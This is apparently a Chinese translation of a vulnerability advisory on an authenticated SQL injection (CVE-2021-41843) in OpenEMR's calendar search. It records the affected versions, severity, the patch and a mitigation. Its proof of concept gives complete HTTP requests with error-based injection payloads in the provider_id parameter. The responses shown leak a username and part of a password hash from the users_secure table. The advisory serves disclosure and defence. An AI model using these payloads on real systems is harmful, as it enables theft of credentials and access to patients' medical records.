OpenEMR 日历搜索中经过身份验证的 SQL 注入

2021-12-16 16:47:43 浏览数 (2)

受影响的产品:OpenEMR Web 应用程序

测试版本:6.0.0、6.1.0-dev

供应商:OpenEMR 项目

https://www.open-emr.org

OpenEMR Web 应用程序是一种医疗实践管理软件,可以 用于存储电子病历。

Trovent Security GmbH 在搜索中发现了一个 SQL 注入漏洞 日历模块的功能。参数“provider_id”是可注入的。 攻击者需要一个有效的用户帐户才能访问日历模块 Web应用程序。可以从数据库的所有表中读取数据。

严重性:中 CVSS 分数:6.5(CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) CWE ID:CWE-89 CVE ID:CVE-2021-41843

概念证明

(1) 从数据库表'openemr.users_secure'中读取用户名的HTTP请求:

POST /interface/main/calendar/index.php?module=PostCalendar&func=search HTTP/1.1

pc_keywords=TRVNT&pc_keywords_andor=AND&pc_category=&start=09/16/2021&end=09/23/2021& provider_id=(UPDATEXML(1,CONCAT(0x2e,0x20,(SELECT MID((IFNULL(CAST(username AS NCHAR),0x20)),1,22) FROM openemr.users_secure ORDER BY id)),1))&pc_facility=&submit=Submit

(2) 对 (1) 的 HTTP 响应:

HTTP/1.1 200 正常

XPATH 语法错误:'admin'

(3) HTTP请求从数据库表'openemr.users_secure'中读取密码哈希:

POST /interface/main/calendar/index.php?module=PostCalendar&func=search HTTP/1.1

pc_keywords=TRVNT&pc_keywords_andor=AND&pc_category=&start=09/16/2021&end=09/23/2021& provider_id=(UPDATEXML(1,CONCAT(0x2e,0x20,(SELECT MID((IFNULL(CAST(password AS NCHAR),0x20)),1,22) FROM openemr.users_secure ORDER BY id)),1))&pc_facility=&submit=Submit

(4) 对 (3) 的 HTTP 响应:

HTTP/1.1 200 正常

XPATH 语法错误:“$2y$10$ukudH2lRSW2vKX。”

解决方案

在漏洞修复之前限制对日历搜索功能的访问。 在 OpenEMR 版本 6.0.0 补丁 3 中修复,由 Trovent 验证。

0 人点赞